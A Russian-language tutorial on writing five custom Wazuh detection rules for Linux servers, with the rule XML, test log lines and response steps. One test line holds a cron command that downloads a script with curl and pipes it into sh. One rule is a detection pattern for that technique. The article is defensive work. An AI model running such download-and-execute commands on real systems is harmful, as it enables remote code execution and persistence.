Wazuh: пять правил выявления атак на Linux-сервере

Wazuh из коробки видит много событий, но не всё, что важно именно вам: ночной вход под обычной учётной записью, добавление пользователя в группу sudo, задание cron, которое скачивает и запускает скрипт. Пользовательские правила превращают такие события в оповещения с понятным уровнем. Ниже пять правил на основе стандартных журналов Linux с проверкой через wazuh-logtest, порядок установки и рекомендации по настройке.
Статья опирается на логику направления «Мониторинг кибербезопасности» из методики зрелости Группы Сбер (источник); это методика для крупных компаний, мы используем её как ориентир и пересказываем своими словами. Установка и основы эксплуатации: Wazuh в Docker; зачем нужен SIEM: SOC и SIEM. Правила проверены на менеджере Wazuh 4.14.8 в одноразовом контейнере без доступа к рабочим данным.
Что должно получиться
| Уровень | Что это значит на практике |
|---|---|
| 2. Гигиенический | Журналы собираются централизованно, настроены оповещения, на срабатывания реагируют в согласованный срок |
| 3 | Описаны сценарии выявления атак, корреляция событий, оповещения привязаны к сценариям реагирования |
Критерии сформулированы нами по мотивам методики, это ориентир, а не оценка соответствия.
Какие правила и что они ловят
| ID | Уровень | Что выявляет | Родитель |
|---|---|---|---|
| 100510 | 8 | Успешный вход по SSH в нерабочее время | 5715 (sshd: вход выполнен) |
| 100511 | 10 | Подбор пароля: 6 неудачных входов за минуту с одного адреса | 5760 (sshd: ошибка аутентификации) |
| 100512 | 9 | sudo, запускающий командную оболочку с правами root | 5402, 5403 (sudo) |
| 100513 | 10 | Добавление пользователя в группы sudo, wheel, admin, adm, docker, root | отдельное правило по имени программы usermod |
| 100514 | 12 | Задание cron, которое скачивает и сразу запускает скрипт (curl или wget через канал в sh) | отдельное правило по имени программы CRON |
Идентификаторы 100510–100514 выбраны вне диапазонов, уже занятых в вашей установке: перед использованием проверьте свободные ID командой поиска по каталогу правил (ниже).
Файл правил
Положите содержимое в файл svictor_rules.xml в каталоге пользовательских правил менеджера (/var/ossec/etc/rules/; в Docker это каталог, подключённый как том).
<group name="local,svictor,">
<!-- 1. Успешный вход по SSH в нерабочее время (время считается по часам менеджера Wazuh) -->
<rule id="100510" level="8">
<if_sid>5715</if_sid>
<time>10 pm - 6 am</time>
<description>SSH: успешный вход в нерабочее время</description>
<group>authentication_success,</group>
</rule>
<!-- 2. Всплеск неудачных входов SSH с одного адреса: 6 за 60 секунд -->
<rule id="100511" level="10" frequency="6" timeframe="60">
<if_matched_sid>5760</if_matched_sid>
<same_source_ip />
<description>SSH: подбор пароля, 6 неудач за минуту с одного адреса</description>
<group>authentication_failures,</group>
</rule>
<!-- 3. sudo, открывающий командную оболочку root -->
<rule id="100512" level="9">
<if_sid>5402,5403</if_sid>
<regex type="pcre2">COMMAND=/(usr/)?bin/(ba|da|z)?sh$</regex>
<description>sudo: запущена оболочка с правами root</description>
<group>privilege_escalation,</group>
</rule>
<!-- 4. Добавление пользователя в привилегированную группу -->
<rule id="100513" level="10">
<program_name>^usermod</program_name>
<regex type="pcre2">^add '?[^ ']+'? to (shadow )?group '?(sudo|wheel|admin|adm|docker|root)'?</regex>
<description>Пользователь добавлен в привилегированную группу</description>
<group>privilege_escalation,adduser,</group>
</rule>
<!-- 5. Задание cron, скачивающее и сразу выполняющее скрипт -->
<rule id="100514" level="12">
<program_name>^CRON</program_name>
<regex type="pcre2">CMD \(.*(curl|wget)[^|]*\|\s*(ba|da|z)?sh</regex>
<description>cron: загрузка и немедленное выполнение скрипта</description>
<group>persistence,</group>
</rule>
</group>
Установка
- Проверьте свободные ID. На менеджере:
grep -rhoE 'rule id="[0-9]+"' /var/ossec/etc/rules/ | sort -uЕсли 100510–100514 заняты, замените номера в файле.
- Скопируйте файл в каталог правил и назначьте права владельцу службы (в стандартной установке
wazuh:wazuh). - Проверьте синтаксис до перезапуска:
/var/ossec/bin/wazuh-analysisd -t. Ожидается отсутствие сообщений об ошибках для вашего файла. Внимательно читайте предупреждения о несуществующих родительских правилах: Wazuh не считает их ошибкой, а просто игнорирует правило. - Перезапустите менеджер (
/var/ossec/bin/wazuh-control restartили перезапуск контейнера) в согласованное окно. - Проверьте на тестовых строках через
wazuh-logtest(раздел ниже), затем смоделируйте событие на тестовом сервере.
Проверка logtest
Тестовые строки журналов (они же лежат в файле test_lines.txt проекта):
Oct 12 03:14:15 web01 sshd[1234]: Accepted password for deploy from 203.0.113.50 port 51234 ssh2
Oct 12 14:16:00 web01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash
Oct 12 14:16:10 web01 sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/apt update
Oct 12 14:18:00 web01 usermod[2346]: add 'deploy' to group 'sudo'
Oct 12 14:18:30 web01 usermod[2347]: add 'deploy' to group 'video'
Oct 12 14:20:00 web01 CRON[2400]: (root) CMD (curl -s http://198.51.100.9/x.sh | sh)
Oct 12 14:20:30 web01 CRON[2401]: (root) CMD (/usr/local/bin/backup.sh)
Запуск: /var/ossec/bin/wazuh-logtest, вставьте строки по одной. Результат для этих строк:
| Строка | Срабатывание |
|---|---|
sudo, COMMAND=/bin/bash |
Правило 100512, уровень 9 |
sudo, COMMAND=/usr/bin/apt update |
Только встроенное правило 5403 (первый sudo пользователя), 100512 не срабатывает |
usermod: добавление в группу sudo |
Правило 100513, уровень 10 |
usermod: добавление в группу video |
Не срабатывает: группа не привилегированная |
CRON с curl ... | sh |
Правило 100514, уровень 12 |
| CRON с обычным скриптом резервного копирования | Не срабатывает |
| sshd: успешный вход | Правило 100510, если время обработки на менеджере попадает в окно; иначе встроенное 5715 |
Для правила 100511 нужно несколько событий в одном потоке: подайте на вход подряд семь строк неудачных входов с одного адреса (Failed password for root from 198.51.100.7 port 40022 ssh2 с разными номерами портов). Шесть первых срабатывают как встроенное 5760, на шестом событии за минуту срабатывает 100511 уровня 10.
Как работают правила и что настраивать
100510: вход в нерабочее время
Условие time сравнивается с временем обработки события на менеджере в его часовом поясе, а не с временем из строки журнала. Для оперативных оповещений это то, что нужно, но при обработке отложенных или повторно загруженных журналов правило сработает по текущему времени. Окно 10 pm - 6 am меняйте под режим вашей организации; выходные дни этим условием не задаются: для них нужна отдельная настройка или правило по полю дня недели. Ожидайте срабатываний от администраторов, работающих ночью: добавьте исключение по пользователю или адресу (правило-потомок с уровнем 0 по имени пользователя или списку адресов).
100511: подбор пароля
Правило использует частотное условие: frequency="6" timeframe="60" и same_source_ip. Для вашего трафика подберите пороги: слишком низкие дают ложные срабатывания от пользователей, забывших пароль, слишком высокие пропускают медленный подбор. В Wazuh уже есть правила подбора (например, 5763), это правило нужно как более чувствительный вариант для критичных серверов. Оповещение стоит связать с автоматической блокировкой адреса, но включайте блокировку осторожно: CrowdSec и Fail2ban.
100512: root-оболочка через sudo
Правило смотрит на команду: /bin/bash, /usr/bin/zsh и подобные. Администраторы тоже так работают, поэтому оно полезно как сигнал для разбора, а не как доказательство атаки. Для регулярных случаев добавьте исключения по пользователю. Рассмотрите запрет оболочек через sudo и запись сеансов: sudo и sudoers.
100513: добавление в привилегированную группу
Правило сопоставляет текст сообщения usermod: «add ИМЯ to group sudo» (также wheel, admin, adm, docker, root). Формат сообщения зависит от дистрибутива и версии утилит: проверьте, как выглядит строка на ваших серверах (journalctl -t usermod или файл /var/log/auth.log), и при необходимости скорректируйте регулярное выражение. Неожиданное срабатывание вне заявок на доступ — повод для расследования: управление доступом. Встроенное правило 5902 фиксирует создание нового пользователя.
100514: cron с загрузкой и запуском скрипта
Выражение ищет в команде cron цепочку curl или wget с конвейером на sh/bash. Это типичный способ закрепления нарушителя. Легитимные задания установки или обновления тоже бывают такими: исключите их точечно по команде. Правило видит только сообщения cron в журнале; добавьте контроль целостности каталогов /etc/cron* и /var/spool/cron средствами Wazuh (модуль контроля целостности), чтобы замечать и изменение самих файлов: документация Wazuh по syscheck.
Что делать при срабатывании
| Правило | Первые действия |
|---|---|
| 100510 | Связаться с владельцем учётной записи: его ли это вход? Если нет, заблокировать учётную запись и сеансы, проверить журналы: сценарий компрометации учётной записи |
| 100511 | Проверить, нет ли успешного входа с того же адреса после серии; заблокировать адрес; убедиться, что вход по паролю отключён для root и включена двухфакторная защита |
| 100512 | Проверить, кто и зачем открыл оболочку; сверить с заявкой на работы; при необходимости сохранить историю команд |
| 100513 | Сверить с заявкой на доступ; при отсутствии заявки откатить и расследовать |
| 100514 | Сохранить задание и скрипт, изолировать сервер, проверить другие точки закрепления: первые 24 часа |
Как расширять набор
- Используйте шаблон: родитель (встроенное правило или условия по программе), условие, уровень, описание, группа. Добавляйте правило только после проверки в logtest на реальных строках ваших журналов.
- Для проверки каждого правила держите набор «положительных» и «отрицательных» строк, как в примере: правило должно срабатывать на плохом и молчать на нормальном.
- Не делайте все правила критичными: оповещения, которые никто не читает, хуже их отсутствия. Распределите уровни: 8–9 для разбора в рабочее время, 12 и выше для немедленной реакции.
- Связывайте правила с метриками и учётом инцидентов: метрики ИБ для руководства.
Диагностика
| Симптом | Причина и что делать |
|---|---|
| Правило не срабатывает в logtest, хотя строка подходит | Регулярное выражение применяется к части строки после заголовка (после имени программы и PID), а не ко всей строке. Сверьте в выводе logtest фазу предобработки: поле log |
wazuh-analysisd -t не ругается, но правило игнорируется |
Родительское правило не найдено; Wazuh выводит предупреждение, но не ошибку. Проверьте номер родителя в списке правил |
| Номер правила уже занят | Повторный идентификатор игнорируется. Найдите свободный диапазон по команде из раздела установки |
| Слишком много срабатываний 100510 | Окно времени и учётные записи администраторов. Сузьте окно или добавьте исключения |
Где это в модели зрелости
Материал относится к направлению «Мониторинг кибербезопасности» (материалы направления, карта зрелости). Уровень 2 даёт централизованный сбор журналов и оповещения, уровень 3 добавляет описанные сценарии выявления и корреляцию событий; эти правила — основа такого набора.
Как проверить
- Файл правил установлен,
wazuh-analysisd -tпроходит без ошибок и предупреждений по вашим правилам. - Для каждого правила в logtest есть положительная и отрицательная строки, результаты совпадают с ожидаемыми.
- На тестовом сервере смоделированы события (добавление пользователя в группу, неудачные входы, cron-задание), оповещения пришли.
- Для каждого оповещения определён исполнитель и порядок реагирования.
Источники
- Методика оценки уровня зрелости кибербезопасности компании, Группа Сбер: sberbank.ru.
- Документация Wazuh: пользовательские правила и синтаксис условий (
if_sid,frequency,time,regex),wazuh-logtest: documentation.wazuh.com.






















